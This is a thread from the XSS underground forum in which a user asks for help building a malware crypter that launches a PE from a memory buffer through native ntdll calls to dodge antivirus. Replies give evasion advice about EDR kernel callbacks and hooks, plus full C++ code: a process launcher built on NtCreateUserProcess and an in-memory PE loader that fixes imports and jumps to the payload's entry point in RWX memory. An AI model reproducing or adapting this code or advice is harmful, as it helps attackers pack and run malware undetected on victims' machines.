• XSS.stack #1 – первый литературный журнал от юзеров форума

[C/C++] CreateProcess obfuscation using ntdll

3c2n90yt57489t3y8794

RAID-массив
Пользователь
Регистрация
01.09.2020
Сообщения
66
Реакции
5
Hi, I converted a lot of winapi syscall to their native version using ntdll but CreateProcess seems a bit harder to implement. I need to use it in my crypter so I need to create a suspended process and give it the variabile containing the PE buffer. The problem is that there is not much documentation about ntddl native syscall.
I could use:
- NtCreateProcessEx (very complex and long to do)
- NtCreateUserProcess (easy but.. can it get the variabile containing the PE buffer? It seems this call can work only with a disk path)
- other ?

What should I use? Are there alternatives? Any resource is appreciated
 
Hi, I converted a lot of winapi syscall to their native version using ntdll but CreateProcess seems a bit harder to implement. I need to use it in my crypter so I need to create a suspended process and give it the variabile containing the PE buffer. The problem is that there is not much documentation about ntddl native syscall.
I could use:
- NtCreateProcessEx (very complex and long to do)
- NtCreateUserProcess (easy but.. can it get the variabile containing the PE buffer? It seems this call can work only with a disk path)
- other ?

What should I use? Are there alternatives? Any resource is appreciated
Bro typedef CreateProcessA and after do typedef of CreateProcessA = (cast)(GetProcessA)
 
What's the name of this method? It seems it just calls userland winapi, I want to avoid them in order to reduce AV detections
Братан сравни адрес от kernel32dll функций и функций в твоей либе и пойми что это любой ав увидит
 
Пожалуйста, обратите внимание, что пользователь заблокирован
- NtCreateProcessEx (very complex and long to do)
- NtCreateUserProcess (easy but.. can it get the variabile containing the PE buffer? It seems this call can work only with a disk path)
используйте RtlCreateUserProcess, это просто и реально, NtCreateProcess (Ex) врядли возможно сделать универсально и удобно для всех ЕХЕ, слишком много подводных камней.
 
Hello,

I did this project approx. 1 year ago. I have attached my code. Some functions are specific to my application such as StringLength and GetModuleHandleExW2, but those can easily substituted with your own code. It is relatively straight forward. If you have any questions you can view my entire code solution on our GitHub.

Entire solution: https://github.com/vxunderground/VX-API
Specific function: https://github.com/vxunderground/VX-API/blob/main/VX-API/CreateProcessViaNtCreateUserProcess.cpp

C++:
DWORD CreateProcessViaNtCreateUserProcessW(PWCHAR BinaryPath)
{
    NTCREATEUSERPROCESS NtCreateUserProcess;
    RTLCREATEPROCESSPARAMETERSEX RtlCreateProcessParametersEx;
    RTLDESTROYPROCESSPARAMETERS RtlDestroyProcessParameters;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;
    UNICODE_STRING NtImagePath = {0};
    WCHAR MsDosFullPath[MAX_PATH * sizeof(WCHAR)] = { 0 };
    PS_CREATE_INFO CreateInfo = { 0 };
    HMODULE hModule;
    PPS_ATTRIBUTE_LIST AttributeList = NULL;
    HANDLE hHandle = NULL, hThread = NULL;
    DWORD dwError = ERROR_SUCCESS;

    CreateInfo.Size = sizeof(CreateInfo);
    CreateInfo.State = PsCreateInitialState;

    hModule = GetModuleHandleEx2W(L"ntdll.dll");
    if (hModule == NULL)
        return GetLastErrorFromTeb();

    NtCreateUserProcess = (NTCREATEUSERPROCESS)GetProcAddressA((DWORD64)hModule, "NtCreateUserProcess");
    if (NtCreateUserProcess == NULL)
        return GetLastErrorFromTeb();

    RtlCreateProcessParametersEx = (RTLCREATEPROCESSPARAMETERSEX)GetProcAddressA((DWORD64)hModule, "RtlCreateProcessParametersEx");
    if (RtlCreateProcessParametersEx == NULL)
        return GetLastErrorFromTeb();

    RtlDestroyProcessParameters = (RTLDESTROYPROCESSPARAMETERS)GetProcAddressA((DWORD64)hModule, "RtlDestroyProcessParameters");
    if (RtlDestroyProcessParameters == NULL)
        return GetLastErrorFromTeb();

    StringCopyW(MsDosFullPath, (PWCHAR)L"\\??\\");
    StringConcatW(MsDosFullPath, BinaryPath);

    RtlInitUnicodeString(&NtImagePath, MsDosFullPath);

    if (RtlCreateProcessParametersEx(&ProcessParameters, &NtImagePath, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROCESS_PARAMETERS_NORMALIZED) != ERROR_SUCCESS)
        return GetLastErrorFromTeb();

    AttributeList = (PPS_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeapFromTeb(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE));
    if (AttributeList)
    {
        AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST) - sizeof(PS_ATTRIBUTE);
        AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
        AttributeList->Attributes[0].Size = NtImagePath.Length;
        AttributeList->Attributes[0].Value = (ULONG_PTR)NtImagePath.Buffer;

        if (NtCreateUserProcess(&hHandle, &hThread, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, ProcessParameters, &CreateInfo, AttributeList) != ERROR_SUCCESS)
            dwError = GetLastErrorFromTeb(); //?
    }

    if (AttributeList)
        HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, AttributeList);

    if (ProcessParameters)
        RtlDestroyProcessParameters(ProcessParameters);

    return dwError;
}
 
Создание процесса нормальные EDRы ловят в ядре калбеками, нет никакого смысла сисколить это.
если использовать NtCreateProcess/Ex то можно создать процесс без потока , а колбэк в ядро летит после создания первого потока. также из ядра вроде не видно создан ли процесс в суспендед. Несмотря на колбэк многие ав хукают createProcess
 
Hello,

I did this project approx. 1 year ago. I have attached my code. Some functions are specific to my application such as StringLength and GetModuleHandleExW2, but those can easily substituted with your own code. It is relatively straight forward. If you have any questions you can view my entire code solution on our GitHub.

Entire solution: https://github.com/vxunderground/VX-API
Specific function: https://github.com/vxunderground/VX-API/blob/main/VX-API/CreateProcessViaNtCreateUserProcess.cpp

C++:
DWORD CreateProcessViaNtCreateUserProcessW(PWCHAR BinaryPath)
{
    NTCREATEUSERPROCESS NtCreateUserProcess;
    RTLCREATEPROCESSPARAMETERSEX RtlCreateProcessParametersEx;
    RTLDESTROYPROCESSPARAMETERS RtlDestroyProcessParameters;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;
    UNICODE_STRING NtImagePath = {0};
    WCHAR MsDosFullPath[MAX_PATH * sizeof(WCHAR)] = { 0 };
    PS_CREATE_INFO CreateInfo = { 0 };
    HMODULE hModule;
    PPS_ATTRIBUTE_LIST AttributeList = NULL;
    HANDLE hHandle = NULL, hThread = NULL;
    DWORD dwError = ERROR_SUCCESS;

    CreateInfo.Size = sizeof(CreateInfo);
    CreateInfo.State = PsCreateInitialState;

    hModule = GetModuleHandleEx2W(L"ntdll.dll");
    if (hModule == NULL)
        return GetLastErrorFromTeb();

    NtCreateUserProcess = (NTCREATEUSERPROCESS)GetProcAddressA((DWORD64)hModule, "NtCreateUserProcess");
    if (NtCreateUserProcess == NULL)
        return GetLastErrorFromTeb();

    RtlCreateProcessParametersEx = (RTLCREATEPROCESSPARAMETERSEX)GetProcAddressA((DWORD64)hModule, "RtlCreateProcessParametersEx");
    if (RtlCreateProcessParametersEx == NULL)
        return GetLastErrorFromTeb();

    RtlDestroyProcessParameters = (RTLDESTROYPROCESSPARAMETERS)GetProcAddressA((DWORD64)hModule, "RtlDestroyProcessParameters");
    if (RtlDestroyProcessParameters == NULL)
        return GetLastErrorFromTeb();

    StringCopyW(MsDosFullPath, (PWCHAR)L"\\??\\");
    StringConcatW(MsDosFullPath, BinaryPath);

    RtlInitUnicodeString(&NtImagePath, MsDosFullPath);

    if (RtlCreateProcessParametersEx(&ProcessParameters, &NtImagePath, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROCESS_PARAMETERS_NORMALIZED) != ERROR_SUCCESS)
        return GetLastErrorFromTeb();

    AttributeList = (PPS_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeapFromTeb(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE));
    if (AttributeList)
    {
        AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST) - sizeof(PS_ATTRIBUTE);
        AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
        AttributeList->Attributes[0].Size = NtImagePath.Length;
        AttributeList->Attributes[0].Value = (ULONG_PTR)NtImagePath.Buffer;

        if (NtCreateUserProcess(&hHandle, &hThread, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, ProcessParameters, &CreateInfo, AttributeList) != ERROR_SUCCESS)
            dwError = GetLastErrorFromTeb(); //?
    }

    if (AttributeList)
        HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, AttributeList);

    if (ProcessParameters)
        RtlDestroyProcessParameters(ProcessParameters);

    return dwError;
}
thank you, this is interesting, anyway I'm looking for an implementation with the PE blob in a variable, not a binary path
 
thank you, this is interesting, anyway I'm looking for an implementation with the PE blob in a variable, not a binary path
Like this?


C++:
BOOL UnusedSubroutineRepair64bitImportAddressTable(PBYTE ExecutableMemoryBaseAddress)
{
    PIMAGE_DOS_HEADER DosHeader = NULL;
    PIMAGE_NT_HEADERS NtHeader = NULL;
    PIMAGE_FILE_HEADER FileHeader = NULL;
    PIMAGE_OPTIONAL_HEADER OptionalHeader = NULL;
    PIMAGE_DATA_DIRECTORY ImportAddressTable = NULL;
    PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor = NULL;

    if (!RtlLoadPeHeaders(&DosHeader, &NtHeader, &FileHeader, &OptionalHeader, &ExecutableMemoryBaseAddress))
        return FALSE;

    ImportAddressTable = &OptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    if (ImportAddressTable == NULL)
        return FALSE;

    for (ULONGLONG Size = 0; Size < ImportAddressTable->Size; Size += sizeof(IMAGE_IMPORT_DESCRIPTOR))
    {
        LPSTR LibraryString = NULL;
        HMODULE hModule = NULL;
        ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(ImportAddressTable->VirtualAddress + Size + (ULONG_PTR)ExecutableMemoryBaseAddress);

        if (ImportDescriptor->OriginalFirstThunk == NULL && ImportDescriptor->FirstThunk == NULL)
            break;

        LibraryString = (LPSTR)((ULONGLONG)ExecutableMemoryBaseAddress + ImportDescriptor->Name);
        hModule = LoadLibraryA(LibraryString);

        for(ULONGLONG OffsetField = ERROR_SUCCESS, OffsetThunk = ERROR_SUCCESS;;)
        {
            PIMAGE_THUNK_DATA FieldThunk = (PIMAGE_THUNK_DATA)(ULONGLONG(ExecutableMemoryBaseAddress) + OffsetField + ImportDescriptor->FirstThunk);
            PIMAGE_THUNK_DATA OriginalThunk = (PIMAGE_THUNK_DATA)(ULONGLONG(ExecutableMemoryBaseAddress) + OffsetThunk + (ImportDescriptor->OriginalFirstThunk == NULL ? ImportDescriptor->FirstThunk : ImportDescriptor->OriginalFirstThunk));
        
            if (OriginalThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG32 || OriginalThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64)
            {
                if (hModule != NULL)
                    FieldThunk->u1.Function = (ULONGLONG)GetProcAddressA((DWORD64)hModule, (PCHAR)(OriginalThunk->u1.Ordinal & 0xFFFF));
            }

            if (FieldThunk->u1.Function == NULL)
            {
                if (hModule != NULL)
                    FreeLibrary(hModule);

                break;
            }

            if (FieldThunk->u1.Function == OriginalThunk->u1.Function)
            {
                PIMAGE_IMPORT_BY_NAME ImportNameString = (PIMAGE_IMPORT_BY_NAME)(ULONGLONG(ExecutableMemoryBaseAddress) + OriginalThunk->u1.AddressOfData);
                if (ImportNameString != NULL)
                {
                    if(hModule != NULL)
                        FieldThunk->u1.Function = (ULONGLONG)GetProcAddress(hModule, ImportNameString->Name); //GetProcAddressA has fatal error...
                }
            }
            OffsetField += sizeof(IMAGE_THUNK_DATA);
            OffsetThunk += sizeof(IMAGE_THUNK_DATA);
        }

        if (hModule != NULL)
            FreeLibrary(hModule);
    }

    return TRUE;
}

DWORD MpfExecute64bitPeBinaryInMemoryFromByteArrayNoReloc(_In_ PBYTE BinaryImage)
{
    PIMAGE_DOS_HEADER DosHeader = NULL;
    PIMAGE_NT_HEADERS NtHeader = NULL;
    PIMAGE_FILE_HEADER FileHeader = NULL;
    PIMAGE_OPTIONAL_HEADER OptionalHeader = NULL;
    PIMAGE_DATA_DIRECTORY RelocationDirectory = NULL;
    PIMAGE_SECTION_HEADER SectionHeaderArray = NULL;
    PBYTE ExecutableMemoryBaseAddress = NULL;
    DWORD dwError = ERROR_SUCCESS;
    BOOL bFlag = FALSE;
    ULONGLONG ExecutionPointer = ERROR_SUCCESS;

    if (!RtlLoadPeHeaders(&DosHeader, &NtHeader, &FileHeader, &OptionalHeader, &BinaryImage))
        return -1;

    ExecutableMemoryBaseAddress = (PBYTE)VirtualAlloc((LPVOID)OptionalHeader->ImageBase, OptionalHeader->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!ExecutableMemoryBaseAddress)
    {
        ExecutableMemoryBaseAddress = (PBYTE)VirtualAlloc(NULL, OptionalHeader->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (!ExecutableMemoryBaseAddress)
            return -1;
    }

    OptionalHeader->ImageBase = (ULONGLONG)ExecutableMemoryBaseAddress;
    CopyMemoryEx(ExecutableMemoryBaseAddress, BinaryImage, OptionalHeader->SizeOfHeaders);

    SectionHeaderArray = (PIMAGE_SECTION_HEADER)(ULONGLONG(NtHeader) + sizeof(IMAGE_NT_HEADERS));
    for (DWORD dwX = 0; dwX < FileHeader->NumberOfSections; dwX++)
    {
        CopyMemoryEx(LPVOID(ULONGLONG(ExecutableMemoryBaseAddress) + SectionHeaderArray[dwX].VirtualAddress), LPVOID(ULONGLONG(BinaryImage) + SectionHeaderArray[dwX].PointerToRawData), SectionHeaderArray[dwX].SizeOfRawData);
    }

    if (!UnusedSubroutineRepair64bitImportAddressTable(ExecutableMemoryBaseAddress))
        goto EXIT_ROUTINE;

    ExecutionPointer = (ULONGLONG)(ExecutableMemoryBaseAddress) + OptionalHeader->AddressOfEntryPoint;

    ((VOID(*)())ExecutionPointer)();

    bFlag = TRUE;

EXIT_ROUTINE:

    if (!bFlag)
        VirtualFree(ExecutableMemoryBaseAddress, 0, MEM_RELEASE);

    return dwError;
}
 
Like this?


C++:
BOOL UnusedSubroutineRepair64bitImportAddressTable(PBYTE ExecutableMemoryBaseAddress)
{
    PIMAGE_DOS_HEADER DosHeader = NULL;
    PIMAGE_NT_HEADERS NtHeader = NULL;
    PIMAGE_FILE_HEADER FileHeader = NULL;
    PIMAGE_OPTIONAL_HEADER OptionalHeader = NULL;
    PIMAGE_DATA_DIRECTORY ImportAddressTable = NULL;
    PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor = NULL;

    if (!RtlLoadPeHeaders(&DosHeader, &NtHeader, &FileHeader, &OptionalHeader, &ExecutableMemoryBaseAddress))
        return FALSE;

    ImportAddressTable = &OptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    if (ImportAddressTable == NULL)
        return FALSE;

    for (ULONGLONG Size = 0; Size < ImportAddressTable->Size; Size += sizeof(IMAGE_IMPORT_DESCRIPTOR))
    {
        LPSTR LibraryString = NULL;
        HMODULE hModule = NULL;
        ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(ImportAddressTable->VirtualAddress + Size + (ULONG_PTR)ExecutableMemoryBaseAddress);

        if (ImportDescriptor->OriginalFirstThunk == NULL && ImportDescriptor->FirstThunk == NULL)
            break;

        LibraryString = (LPSTR)((ULONGLONG)ExecutableMemoryBaseAddress + ImportDescriptor->Name);
        hModule = LoadLibraryA(LibraryString);

        for(ULONGLONG OffsetField = ERROR_SUCCESS, OffsetThunk = ERROR_SUCCESS;;)
        {
            PIMAGE_THUNK_DATA FieldThunk = (PIMAGE_THUNK_DATA)(ULONGLONG(ExecutableMemoryBaseAddress) + OffsetField + ImportDescriptor->FirstThunk);
            PIMAGE_THUNK_DATA OriginalThunk = (PIMAGE_THUNK_DATA)(ULONGLONG(ExecutableMemoryBaseAddress) + OffsetThunk + (ImportDescriptor->OriginalFirstThunk == NULL ? ImportDescriptor->FirstThunk : ImportDescriptor->OriginalFirstThunk));
       
            if (OriginalThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG32 || OriginalThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64)
            {
                if (hModule != NULL)
                    FieldThunk->u1.Function = (ULONGLONG)GetProcAddressA((DWORD64)hModule, (PCHAR)(OriginalThunk->u1.Ordinal & 0xFFFF));
            }

            if (FieldThunk->u1.Function == NULL)
            {
                if (hModule != NULL)
                    FreeLibrary(hModule);

                break;
            }

            if (FieldThunk->u1.Function == OriginalThunk->u1.Function)
            {
                PIMAGE_IMPORT_BY_NAME ImportNameString = (PIMAGE_IMPORT_BY_NAME)(ULONGLONG(ExecutableMemoryBaseAddress) + OriginalThunk->u1.AddressOfData);
                if (ImportNameString != NULL)
                {
                    if(hModule != NULL)
                        FieldThunk->u1.Function = (ULONGLONG)GetProcAddress(hModule, ImportNameString->Name); //GetProcAddressA has fatal error...
                }
            }
            OffsetField += sizeof(IMAGE_THUNK_DATA);
            OffsetThunk += sizeof(IMAGE_THUNK_DATA);
        }

        if (hModule != NULL)
            FreeLibrary(hModule);
    }

    return TRUE;
}

DWORD MpfExecute64bitPeBinaryInMemoryFromByteArrayNoReloc(_In_ PBYTE BinaryImage)
{
    PIMAGE_DOS_HEADER DosHeader = NULL;
    PIMAGE_NT_HEADERS NtHeader = NULL;
    PIMAGE_FILE_HEADER FileHeader = NULL;
    PIMAGE_OPTIONAL_HEADER OptionalHeader = NULL;
    PIMAGE_DATA_DIRECTORY RelocationDirectory = NULL;
    PIMAGE_SECTION_HEADER SectionHeaderArray = NULL;
    PBYTE ExecutableMemoryBaseAddress = NULL;
    DWORD dwError = ERROR_SUCCESS;
    BOOL bFlag = FALSE;
    ULONGLONG ExecutionPointer = ERROR_SUCCESS;

    if (!RtlLoadPeHeaders(&DosHeader, &NtHeader, &FileHeader, &OptionalHeader, &BinaryImage))
        return -1;

    ExecutableMemoryBaseAddress = (PBYTE)VirtualAlloc((LPVOID)OptionalHeader->ImageBase, OptionalHeader->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!ExecutableMemoryBaseAddress)
    {
        ExecutableMemoryBaseAddress = (PBYTE)VirtualAlloc(NULL, OptionalHeader->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (!ExecutableMemoryBaseAddress)
            return -1;
    }

    OptionalHeader->ImageBase = (ULONGLONG)ExecutableMemoryBaseAddress;
    CopyMemoryEx(ExecutableMemoryBaseAddress, BinaryImage, OptionalHeader->SizeOfHeaders);

    SectionHeaderArray = (PIMAGE_SECTION_HEADER)(ULONGLONG(NtHeader) + sizeof(IMAGE_NT_HEADERS));
    for (DWORD dwX = 0; dwX < FileHeader->NumberOfSections; dwX++)
    {
        CopyMemoryEx(LPVOID(ULONGLONG(ExecutableMemoryBaseAddress) + SectionHeaderArray[dwX].VirtualAddress), LPVOID(ULONGLONG(BinaryImage) + SectionHeaderArray[dwX].PointerToRawData), SectionHeaderArray[dwX].SizeOfRawData);
    }

    if (!UnusedSubroutineRepair64bitImportAddressTable(ExecutableMemoryBaseAddress))
        goto EXIT_ROUTINE;

    ExecutionPointer = (ULONGLONG)(ExecutableMemoryBaseAddress) + OptionalHeader->AddressOfEntryPoint;

    ((VOID(*)())ExecutionPointer)();

    bFlag = TRUE;

EXIT_ROUTINE:

    if (!bFlag)
        VirtualFree(ExecutableMemoryBaseAddress, 0, MEM_RELEASE);

    return dwError;
}
You ask, Smelly delivers lol :) Good job.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх